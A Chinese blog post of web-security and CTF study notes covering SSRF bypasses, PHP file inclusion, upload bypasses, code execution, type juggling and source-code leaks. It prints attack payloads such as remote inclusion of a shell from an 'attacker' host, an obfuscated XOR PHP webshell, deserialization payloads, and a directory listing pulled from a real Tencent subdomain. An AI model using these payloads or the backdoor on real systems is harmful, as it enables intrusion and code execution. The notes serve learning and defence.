腾讯某处 SSRF 漏洞(非常好的利用点)附利用脚本

协议利用

  • Dict 协议

    dict://fuzz.wuyun.org:8080/helo:dict
  • Gopher 协议

    gopher://fuzz.wuyun.org:8080/gopher
  • File 协议

    file:///etc/passwd

绕过姿势

  1. 更改 IP 地址写法 例如192.168.0.1

    • 8 进制格式:0300.0250.0.1
    • 16 进制格式:0xC0.0xA8.0.1
    • 10 进制整数格式:3232235521
    • 16 进制整数格式:0xC0A80001
    • 还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1
  2. 利用 URL 解析问题 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。 例如:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1的内容

    • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

    • 利用句号127。0。0。1==>127.0.0.1

    • 利用 Enclosed alphanumerics

      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
  • 攻击运行在内网或本地的应用程序(比如溢出);
  • 对内网 web 应用进行指纹识别,通过访问默认文件实现;
  • 攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli 等);
  • 利用 file 协议读取本地文件等。

PHP 代码审计

文件包含

常见的导致文件包含的函数有:

  • ​ PHP:include()include_once()require()require_once()fopen()readfile()
  • JSP Servlet:ava.io.File()java.io.FileReader()
  • ASP:includefileincludevirtual

当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。

本地文件包含

本地文件包含,Local File Inclusion,LFI。

<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

上述代码存在本地文件包含,可用 %00 截断的方式读取 /etc/passwd 文件内容。

  • %00 截断
?file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。

  • 路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

Linux 需要文件名长于 4096,Windows 需要长于 256。

  • 点号截断
?file=../../../../../../../../../boot.ini/………[…]…………

只适用 Windows,点号需要长于 256。

远程文件包含

远程文件包含,Remote File Inclusion,RFI。

<?php
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}

构造变量 basePath 的值。

/?basePath=http://attacker/phpshell.txt?

最终的代码执行了

require_once "http://attacker/phpshell.txt?/action/m_share.php";

问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。

  • 普通远程文件包含
?file=[http|https|ftp]://example.com/shell.txt

需要 allow_url_fopen=On 并且 allow_url_include=On

  • 利用 PHP 流 input
?file=php://input

需要 allow_url_include=On

  • 利用 PHP 流 filter
?file=php://filter/convert.base64-encode/resource=index.php

需要 allow_url_include=On

  • 利用 data URIs
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

需要 allow_url_include=On

  • 利用 XSS 执行
?file=http://127.0.0.1/path/xss.php?xss=phpcode

需要 allow_url_fopen=Onallow_url_include=On 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。

文件上传

文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够被 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。

绕过上传检查

  • 前端检查扩展名

抓包绕过即可。

  • Content-Type 检测文件类型

抓包修改 Content-Type 类型,使其符合白名单规则。

  • 服务端添加后缀

尝试 %00 截断。

  • 服务端扩展名检测

利用解析漏洞。

  • Apache 解析

Apache 对后缀解析是从右向左的

phpshell.php.rar.rar.rar.rar 因为 Apache 不认识 .rar 这个文件类型,所以会一直遍历后缀到 .php,然后认为这是一个 PHP 文件。

  • IIS 解析

IIS 6 下当文件名为 abc.asp;xx.jpg 时,会将其解析为 abc.asp

  • PHP CGI 路径解析

当访问 http://www.a.com/path/test.jpg/notexist.php 时,会将 test.jpg 当做 PHP 解析, notexist.php 是不存在的文件。此时 Nginx 的配置如下

location ~ \.php$ {
  root html;
  fastcgi_pass 127.0.0.1:9000;
  fastcgi_index index.php;
  fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
  include fastcgi_param;
}
  • 其他方式

后缀大小写、双写、特殊后缀如 php5 等,修改包内容的大小写过 WAF 等。

变量覆盖

全局变量覆盖

变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题。

register_globals=ON

示例

<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 时,提交 test.php?auth=1auth 变量将自动得到赋值。

extract() 变量覆盖

extract() 函数能够将变量从数组导入到当前的符号表,其定义为

int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 EXTR_OVERWRITEEXTR_SKIP

当值为 EXTR_OVERWRITE 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 EXTR_SKIP 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 EXTR_OVERWRITE

<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。

import_request_variables 变量覆盖

bool import_request_variables (string $types [, string $prefix])

import_request_variables 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。

<?php
$auth = "0";
import_request_variables("G");

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定导入 GET 请求中的变量,提交 test.php?auth=1 出现变量覆盖。

parse_str() 变量覆盖

void parse_str ( string $str [, array &$arr ])

parse_str() 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。

// var.php?var=new  变量覆盖
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 类似的函数还有 mb_parse_str()

命令执行

直接执行代码

PHP 中有不少可以直接执行代码的函数。

eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
......

preg_replace() 代码执行

preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>

如果没有 /e 修饰符,可以尝试 %00 截断。

preg_match 代码执行

preg_match 执行的是匹配正则表达式,如果匹配成功,则允许代码执行。

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这道题是 xman 训练赛的时候,梅子酒师傅出的一道题。这一串代码描述是这样子,我们要绕过 A-Za-z0-9 这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于 40 。然后再利用 PHP 允许动态函数执行的特点,拼接出一个函数名,这里我们是 getFlag,然后动态执行该代码即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到 getFlag 函数,然后拿到 webshell

在理解这个之前,我们首先需要大家了解的是 PHP 中异或 ^ 的概念。

我们先看一下下面这段代码:

<?php
    echo "A"^"?";
?>

运行结果如下:

我们可以看到,输出的结果是字符 ~。之所以会得到这样的结果,是因为代码中对字符 A 和字符 ? 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A` 的 `ASCII` 值是 `65` ,对应的二进制值是 `01000001
?` 的 ASCII 值是 `63` ,对应的二进制值是 `00111111

异或的二进制的值是 ‭01111110‬ ,对应的 ASCII 值是 126 ,对应的字符串的值就是 ~

我们都知道, PHP 是弱类型的语言,也就是说在 PHP 中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于 PHP 弱类型的这个特点,我们对 PHP 的变量类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

代码执行结果如下:

我们一起来分析一下上面这段代码:

1、$_++; 这行代码的意思是对变量名为 "_" 的变量进行自增操作,在 PHP 中未定义的变量默认值 nullnull==false==0 ,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2、$__="?" ^ "}"; 对字符 ?} 进行异或运算,得到结果 B 赋给变量名为 __ (两个下划线) 的变量

3、$ __ (); 通过上面的赋值操作,变量 $__ 的值为 B ,所以这行可以看作是 B() ,在 PHP 中,这行代码表示调用函数 B ,所以执行结果为 Hello Angel_Kitty 。在 PHP 中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的 PHP 后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如 _POSTsystemcall_user_func_array,或者是任何我们需要的东西。

下面是个非常简单的非数字字母的 PHP 后门:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在这里我说明下, .= 是字符串的连接,具体参看 PHP 语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

我们回到 xman 训练赛的那题来看,我们的想法是通过构造异或来去绕过那串字符,那么我们该如何构造这个字串使得长度小于 40 呢?

我们最终是要读取到那个 getFlag 函数,我们需要构造一个 _GET 来去读取这个函数,我们最终构造了如下字符串:

可能很多小伙伴看到这里仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析。

构造 _GET 读取

首先我们得知道 _GET 由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

<?php
    echo "`{{{"^"?<>/";//_GET
?>

这段代码一大坨是啥意思呢?因为 40 个字符长度的限制,导致以前逐个字符异或拼接的 webshell 不能使用。
这里可以使用 php 中可以执行命令的反引号 ``` 和 Linux 下面的通配符 ?

  • ? 代表匹配一个字符
  • ``` 表示执行命令
  • " 对特殊字符串进行解析

由于 ? 只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看:

<?php
    echo "{"^"<";
?>

输出结果为:

<?php
    echo "{"^">";
?>

输出结果为:

<?php
    echo "{"^"/";
?>

输出结果为:

所以我们可以知道, _GET 就是这么被构造出来的啦!

获取 _GET 参数

我们又该如何获取 _GET 参数呢?咱们可以构造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根据前面构造的来看, $_ 已经变成了 _GET 。顺理成章的来讲, $_ = _GET 。我们构建 $_GET[__] 是为了要获取参数值。

传入参数

此时我们只需要去调用 getFlag 函数获取 webshell 就好了,构造如下:

<?php
    echo $_=getFlag;//getFlag
?>

所以把参数全部连接起来,就可以了。

结果如下:

于是我们就成功地读取到了 flag!

动态函数执行

用户自定义的函数可以导致代码执行。

<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

反引号命令执行

<?php
echo `ls -al`;
?>

Curly Syntax

PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。

<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>

回调函数

很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>

攻击 payload

http://www.a.com/index.php?callback=phpinfo

反序列化

如果 unserialize() 在执行时定义了 __destruct()__wakeup() 函数,则有可能导致代码执行。

<?php
class Example {
  var $var = "";
  function __destruct() {
    eval($this->var);
  }
}
unserialize($_GET["saved_code"]);
?>

攻击 payload

http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

PHP 特性

数组

<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。

比如在 $a == $b 的比较中

$a = null; 
$b = false; //为真 
$a = ''; 
$b = 0; //同样为真

然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。

0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash

"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true

在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 0e\d+ 这种模式就不会相等。

十六进制转换

"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。

类型转换

常见的转换主要就是 int 转换为 stringstring 转换为 int

int` 转 `string
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函数。

对于这个函数,可以先看 2 个例子。

var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

说明 intval() 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, intval() 不会报错而是返回 0。

同时,程序员在编程的时候也不应该使用如下的这段代码:

if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

这个时候 $a 的值有可能是 1002 union

内置函数的参数的松散性

内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。

md5()

$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==md5($array2)); //true

PHP 手册中的 md5()函数的描述是 string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。

strcmp()

strcmp() 函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string $str2 ),需要给 strcmp() 传递 2 个 string 类型的参数。如果 str1 小于 str2,返回 -1,相等返回 0,否则返回 1。strcmp() 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出 strcmp() 的参数是数字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

switch()

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

in_array()

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) , 如果 strict 参数没有提供,那么 in_array 就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strict 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。

array_search()in_array() 也是一样的问题。

寻找源代码备份

hg 源码泄露

hg init 时会产生 .hg 文件。

利用工具 dvcs-ripper

Git 源码泄露

.git 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。

/.git
/.git/HEAD
/.git/index
/.git/config
/.git/description

GitHack

python GitHack.py http://www.openssl.org/.git/

GitHacker(可恢复完整 Git 仓库)

python GitHacker.py http://www.openssl.org/.git/

.DS_Store 文件泄露

Mac OS 中会包含有 .DS_Store 文件,包含文件名等信息。

利用工具 ds_store_exp

python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

网站备份文件

管理员备份网站文件后错误地将备份放在 Web 目录下。

常见的后缀名:

.rar
.zip
.7z
.tar
.tar.gz
.bak
.txt

SVN 泄露

敏感文件:

/.svn
/.svn/wc.db
/.svn/entries

dvcs-ripper

perl rip-svn.pl -v -u http://www.example.com/.svn/

Seay - SVN

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。

WEB-INF 主要包含一下文件或目录:

  • /WEB-INF/web.xml :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/ :含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 jar 文件中。
  • /WEB-INF/lib/ :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。
  • /WEB-INF/src/ :源码目录,按照包名结构放置各个 java 文件。
  • /WEB-INF/database.properties :数据库配置文件。

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了:

location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 泄露

http://url/CVS/Root 返回根信息
http://url/CVS/Entries 返回所有文件的结构

取回源码

bk clone http://url/name dir

文章作者: 杰克成
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 杰克成 !
评论
  目录